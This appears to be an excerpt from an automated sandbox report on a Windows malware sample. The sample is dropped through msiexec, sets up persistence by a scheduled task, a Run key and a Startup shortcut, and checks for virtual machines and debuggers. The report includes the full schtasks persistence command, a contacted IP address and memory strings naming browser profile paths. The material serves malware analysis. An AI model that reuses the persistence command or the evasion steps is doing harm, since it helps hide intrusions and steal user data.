Source: C:\Users\user\AppData\Roaming\Windata\SRACMB.exe	Code function: 8_2_000B8D99 push edi; retn 0000h	8_2_000B8D9B
Source: C:\Users\user\AppData\Roaming\Windata\SRACMB.exe	Code function: 8_2_000B8F0E push F7FFFFFFh; retn 0000h	8_2_000B8F13
Source: C:\Users\user\AppData\Roaming\Windata\SRACMB.exe	Code function: 8_2_000D7795 push ecx; ret	8_2_000D77A8

Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1

Persistence and Installation Behavior

Drops executables to the windows directory (C:\Windows) and starts them

Source: C:\Windows\System32\msiexec.exe

Executable created and started: C:\Windows\Installer\MSI4976.tmp

Jump to behavior

Source: C:\Windows\Installer\MSI4976.tmp	File created: C:\Users\user\AppData\Roaming\Windata\SRACMB.exe			Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI4976.tmp			Jump to dropped file

Source: C:\Windows\System32\msiexec.exe

File created: C:\Windows\Installer\MSI4976.tmp

Jump to dropped file

Boot Survival

Uses schtasks.exe or at.exe to add and modify task schedules

Source: C:\Windows\SysWOW64\cmd.exe

Process created: C:\Windows\SysWOW64\schtasks.exe schtasks /create /tn VYZSPQ.exe /tr C:\Users\user\AppData\Roaming\Windata\SRACMB.exe /sc minute /mo 1

Source: C:\Windows\Installer\MSI4976.tmp

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\VYZSPQ.lnk

Jump to behavior

Source: C:\Windows\Installer\MSI4976.tmp	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run VYZSPQ			Jump to behavior
Source: C:\Windows\Installer\MSI4976.tmp	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run VYZSPQ			Jump to behavior

Source: C:\Windows\Installer\MSI4976.tmp	Code function: 3_2_0033F78E GetForegroundWindow,FindWindowW,IsIconic,ShowWindow,SetForegroundWindow,GetWindowThreadProcessId,GetWindowThreadProcessId,GetCurrentThreadId,GetWindowThreadProcessId,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,SetForegroundWindow,MapVirtualKeyW,MapVirtualKeyW,keybd_event,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,SetForegroundWindow,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,	3_2_0033F78E
Source: C:\Windows\Installer\MSI4976.tmp	Code function: 3_2_00387F0E IsWindowVisible,IsWindowEnabled,GetForegroundWindow,IsIconic,IsZoomed,	3_2_00387F0E
Source: C:\Users\user\AppData\Roaming\Windata\SRACMB.exe	Code function: 8_2_000CF78E GetForegroundWindow,FindWindowW,IsIconic,ShowWindow,SetForegroundWindow,GetWindowThreadProcessId,GetWindowThreadProcessId,GetCurrentThreadId,GetWindowThreadProcessId,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,SetForegroundWindow,MapVirtualKeyW,MapVirtualKeyW,keybd_event,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,SetForegroundWindow,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,	8_2_000CF78E
Source: C:\Users\user\AppData\Roaming\Windata\SRACMB.exe	Code function: 8_2_00117F0E IsWindowVisible,IsWindowEnabled,GetForegroundWindow,IsIconic,IsZoomed,	8_2_00117F0E

Source: C:\Windows\Installer\MSI4976.tmp

Code function: 3_2_00341E5A __initp_misc_winsig,GetModuleHandleW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

3_2_00341E5A

Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\Installer\MSI4976.tmp	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Installer\MSI4976.tmp	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\Installer\MSI4976.tmp	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\Installer\MSI4976.tmp	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\Installer\MSI4976.tmp	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior

Malware Analysis System Evasion

Found API chain indicative of sandbox detection

Source: C:\Users\user\AppData\Roaming\Windata\SRACMB.exe

Sandbox detection routine: GetForegroundWindow, DecisionNode, Sleep

Source: C:\Windows\SysWOW64\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\Installer\MSI4976.tmp	Window / User API: threadDelayed 5384			Jump to behavior
Source: C:\Windows\Installer\MSI4976.tmp	Window / User API: foregroundWindowGot 1318			Jump to behavior

Source: C:\Users\user\AppData\Roaming\Windata\SRACMB.exe

Evasive API call chain: GetModuleFileName,DecisionNodes,ExitProcess

Source: C:\Windows\Installer\MSI4976.tmp	API coverage: 6.7 %
Source: C:\Users\user\AppData\Roaming\Windata\SRACMB.exe	API coverage: 5.3 %

Source: C:\Windows\Installer\MSI4976.tmp TID: 7768

Thread sleep time: -53840s >= -30000s

Jump to behavior

Source: C:\Windows\Installer\MSI4976.tmp	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\Installer\MSI4976.tmp

Thread sleep count: Count: 5384 delay: -10

Jump to behavior

Source: Yara match	File source: 00000006.00000002.2614707550.0000000003830000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.2614274905.00000000032A7000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.2616737221.0000000004AC6000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.2614274905.00000000032C7000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: MSI4976.tmp PID: 7764, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: wscript.exe PID: 7852, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\VYZSPQ.vbs, type: DROPPED

Source: C:\Windows\System32\msiexec.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior

Source: C:\Windows\Installer\MSI4976.tmp	Code function: 3_2_0033DD92 GetFileAttributesW,FindFirstFileW,FindClose,	3_2_0033DD92
Source: C:\Windows\Installer\MSI4976.tmp	Code function: 3_2_00372044 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	3_2_00372044
Source: C:\Windows\Installer\MSI4976.tmp	Code function: 3_2_0037219F SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	3_2_0037219F
Source: C:\Windows\Installer\MSI4976.tmp	Code function: 3_2_003724A9 FindFirstFileW,Sleep,_wcscmp,_wcscmp,FindNextFileW,FindClose,	3_2_003724A9
Source: C:\Windows\Installer\MSI4976.tmp	Code function: 3_2_00366B3F _wcscat,_wcscat,__wsplitpath,FindFirstFileW,_wcscpy,_wcscat,_wcscat,lstrcmpiW,DeleteFileW,MoveFileW,MoveFileW,CopyFileW,DeleteFileW,CopyFileW,FindNextFileW,FindClose,FindClose,	3_2_00366B3F
Source: C:\Windows\Installer\MSI4976.tmp	Code function: 3_2_00366E4A _wcscat,__wsplitpath,FindFirstFileW,_wcscpy,_wcscat,_wcscat,DeleteFileW,FindNextFileW,FindClose,	3_2_00366E4A
Source: C:\Windows\Installer\MSI4976.tmp	Code function: 3_2_0036F350 FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,	3_2_0036F350
Source: C:\Windows\Installer\MSI4976.tmp	Code function: 3_2_0036FD47 FindFirstFileW,FindClose,	3_2_0036FD47
Source: C:\Windows\Installer\MSI4976.tmp	Code function: 3_2_0036FDD2 FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,	3_2_0036FDD2
Source: C:\Users\user\AppData\Roaming\Windata\SRACMB.exe	Code function: 8_2_00102044 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	8_2_00102044
Source: C:\Users\user\AppData\Roaming\Windata\SRACMB.exe	Code function: 8_2_0010219F SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	8_2_0010219F
Source: C:\Users\user\AppData\Roaming\Windata\SRACMB.exe	Code function: 8_2_001024A9 FindFirstFileW,Sleep,_wcscmp,_wcscmp,FindNextFileW,FindClose,	8_2_001024A9
Source: C:\Users\user\AppData\Roaming\Windata\SRACMB.exe	Code function: 8_2_000F6B3F _wcscat,_wcscat,__wsplitpath,FindFirstFileW,_wcscpy,_wcscat,_wcscat,lstrcmpiW,DeleteFileW,MoveFileW,MoveFileW,CopyFileW,DeleteFileW,CopyFileW,FindNextFileW,FindClose,FindClose,	8_2_000F6B3F
Source: C:\Users\user\AppData\Roaming\Windata\SRACMB.exe	Code function: 8_2_000F6E4A _wcscat,__wsplitpath,FindFirstFileW,_wcscpy,_wcscat,_wcscat,DeleteFileW,FindNextFileW,FindClose,	8_2_000F6E4A
Source: C:\Users\user\AppData\Roaming\Windata\SRACMB.exe	Code function: 8_2_000FF350 FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,	8_2_000FF350
Source: C:\Users\user\AppData\Roaming\Windata\SRACMB.exe	Code function: 8_2_000FFD47 FindFirstFileW,FindClose,	8_2_000FFD47
Source: C:\Users\user\AppData\Roaming\Windata\SRACMB.exe	Code function: 8_2_000CDD92 GetFileAttributesW,FindFirstFileW,FindClose,	8_2_000CDD92
Source: C:\Users\user\AppData\Roaming\Windata\SRACMB.exe	Code function: 8_2_000FFDD2 FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,	8_2_000FFDD2

Source: C:\Windows\Installer\MSI4976.tmp

Code function: 3_2_0033E47B GetVersionExW,GetCurrentProcess,FreeLibrary,GetNativeSystemInfo,FreeLibrary,FreeLibrary,GetSystemInfo,GetSystemInfo,

3_2_0033E47B

Source: MSI4976.tmp, 00000003.00000003.1372438000.0000000001928000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\\?\Volume{a33c736e-61ca-11ee-8c18-806e6f6e6963}\
Source: MSI4976.tmp, 00000003.00000002.2615051893.0000000001822000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: SRACMB.exe, 0000000F.00000003.1692703031.0000000001825000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: od_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\\?\Volume{a33c736e-61ca-11ee-8c18-806e6f6e6963}\
Source: MSI4976.tmp, 00000003.00000002.2615051893.0000000001822000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Windows\Installer\MSI4976.tmp	API call chain: ExitProcess graph end node	graph_3-91432
Source: C:\Windows\Installer\MSI4976.tmp	API call chain: ExitProcess graph end node	graph_3-91879
Source: C:\Windows\Installer\MSI4976.tmp	API call chain: ExitProcess graph end node	graph_3-89165
Source: C:\Users\user\AppData\Roaming\Windata\SRACMB.exe	API call chain: ExitProcess graph end node
Source: C:\Users\user\AppData\Roaming\Windata\SRACMB.exe	API call chain: ExitProcess graph end node

Source: C:\Windows\System32\msiexec.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\Installer\MSI4976.tmp

Code function: 3_2_0037703C BlockInput,

3_2_0037703C

Source: C:\Windows\Installer\MSI4976.tmp

Code function: 3_2_0032374E GetCurrentDirectoryW,IsDebuggerPresent,GetFullPathNameW,SetCurrentDirectoryW,MessageBoxA,SetCurrentDirectoryW,GetModuleFileNameW,GetForegroundWindow,ShellExecuteW,

3_2_0032374E

Source: C:\Windows\Installer\MSI4976.tmp

Code function: 3_2_003546D0 LoadLibraryExW,GetLastError,LoadLibraryW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,IsDebuggerPresent,OutputDebugStringW,

3_2_003546D0

Source: C:\Windows\Installer\MSI4976.tmp

Code function: 3_2_0048B0C0 EntryPoint,LoadLibraryA,GetProcAddress,ExitProcess,VirtualProtect,VirtualProtect,VirtualProtect,

3_2_0048B0C0

Source: C:\Windows\Installer\MSI4976.tmp

Code function: 3_2_0034A937 GetProcessHeap,

3_2_0034A937

Source: C:\Windows\Installer\MSI4976.tmp	Code function: 3_2_00348E3C SetUnhandledExceptionFilter,UnhandledExceptionFilter,	3_2_00348E3C
Source: C:\Windows\Installer\MSI4976.tmp	Code function: 3_2_00348E19 SetUnhandledExceptionFilter,	3_2_00348E19
Source: C:\Users\user\AppData\Roaming\Windata\SRACMB.exe	Code function: 8_2_000D8E19 SetUnhandledExceptionFilter,	8_2_000D8E19
Source: C:\Users\user\AppData\Roaming\Windata\SRACMB.exe	Code function: 8_2_000D8E3C SetUnhandledExceptionFilter,UnhandledExceptionFilter,	8_2_000D8E3C

Source: C:\Windows\Installer\MSI4976.tmp

Code function: 3_2_0035BE95 LogonUserW,

3_2_0035BE95

Source: C:\Windows\Installer\MSI4976.tmp

Code function: 3_2_0032374E GetCurrentDirectoryW,IsDebuggerPresent,GetFullPathNameW,SetCurrentDirectoryW,MessageBoxA,SetCurrentDirectoryW,GetModuleFileNameW,GetForegroundWindow,ShellExecuteW,

3_2_0032374E

Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: winmgmts:\\localhost\root\securitycenter2sracmb.exen dos@	memstr_d2728ebc-8
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: r=#]m	memstr_ad302de8-8
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: crlfp	memstr_5dda41bd-5
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: errorh	memstr_f11d6cf8-9
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: errorm	memstr_c0b215c9-6
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: v,ns	memstr_9d406f87-0
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: t,ls!	memstr_bb142942-6
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: z,bs"	memstr_3b651e75-a
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: x,@s#	memstr_931c1a97-5
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: ^,fs$	memstr_7954227d-e
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \,ds%	memstr_1b22d4d9-9
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: b,zs&	memstr_691a866d-4
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: `,xs'	memstr_f45c3401-1
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: f,^s(	memstr_8cd91acd-7
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: d,\s)	memstr_31b9284d-1
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: j,rs*	memstr_ad2de3bc-c
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: h,ps+	memstr_6d05798e-a
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: n,vs,	memstr_db3187b6-e
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: l,ts-	memstr_9d473a53-3
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: v.nu	memstr_22807c5d-c
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: t.lu!	memstr_9d9f317e-4
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: z.bu"	memstr_6aafa0c1-c
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: x.@u#	memstr_72fb35c1-8
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: ^.fu$	memstr_06d2dc92-c
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \.du%	memstr_9684c140-c
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: b.zu&	memstr_7bf79b42-1
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: `.xu'	memstr_94376aef-b
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: f.^u(	memstr_f64dabda-5
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: d.\u)	memstr_51571d2a-c
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: j.ru*	memstr_64037514-4
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: h.pu+	memstr_2dfe2170-f
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: n.vu,	memstr_26f1bee3-c
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: l.tu-	memstr_1e6522cf-f
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: v(nw	memstr_9ec82702-3
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: t(lw!	memstr_2ebe48b1-e
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: z(bw"	memstr_cb857dbb-f
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: x(@w#	memstr_8c832e88-e
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: ^(fw$	memstr_fb7851e0-0
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \(dw%	memstr_88718290-8
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: b(zw&	memstr_c069ee5f-c
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: `(xw'	memstr_2e88703f-f
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: f(^w(	memstr_65f0f30d-6
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: d(\w)	memstr_f1a6ebb5-a
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: j(rw*	memstr_4310b4df-a
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: h(pw+	memstr_7db9d0c3-7
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: n(vw,	memstr_d1f24964-1
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: l(tw-	memstr_56c394cc-7
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 951l227301938l227301939l227301924l	memstr_61aa8c2d-9
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 227301908l227301909l227301924l227301935l227301926l227301922l227301913l227301926l227301939l227301944l227301911l227301946l227301937l227301945l227301924l227301951l227301922l227301950l227301947l227301894l227301924l227301945l227301920l227301951l227301938l227301939l227301924	memstr_0f6aa7e2-c
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: dword version;dword formatc;ptr formats;	memstr_beaec327-4
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: an unrecognized variable type was encountered in p8de3eo0u() (	memstr_f0405ef7-1
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 227301893l227301922l227301924l227301951l227301944l227301937	memstr_afcd654f-3
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: c:\users\user\appdata\roaming\microsoft\windows\libraries	memstr_5db9c4b6-8
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: c:\programdata\microsoft\windows\start menu\programs\startup	memstr_2c5edaff-8
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 172.111.138.100	memstr_05ddd58b-6
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: ulong dwminlength;ulong dwmaxlength;ulong dwincrement;f.dll	memstr_d3e38157-7
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: c:\users\user\appdata\roaming\opera software\opera stable\	memstr_90cbe3e6-e
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: =9ncalrpc:[epmapper,security=impersonation dynamic false]	memstr_fec01c83-d
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: jc:\users\user\appdata\roaming\windata9v	memstr_cb5ea47c-e
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: c:\users\user\appdata\local\microsoft\edge\user data\default\	memstr_550137f1-7
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: c:\users\user\appdata\local\google\chrome\user data\default\(	memstr_65b2687c-d
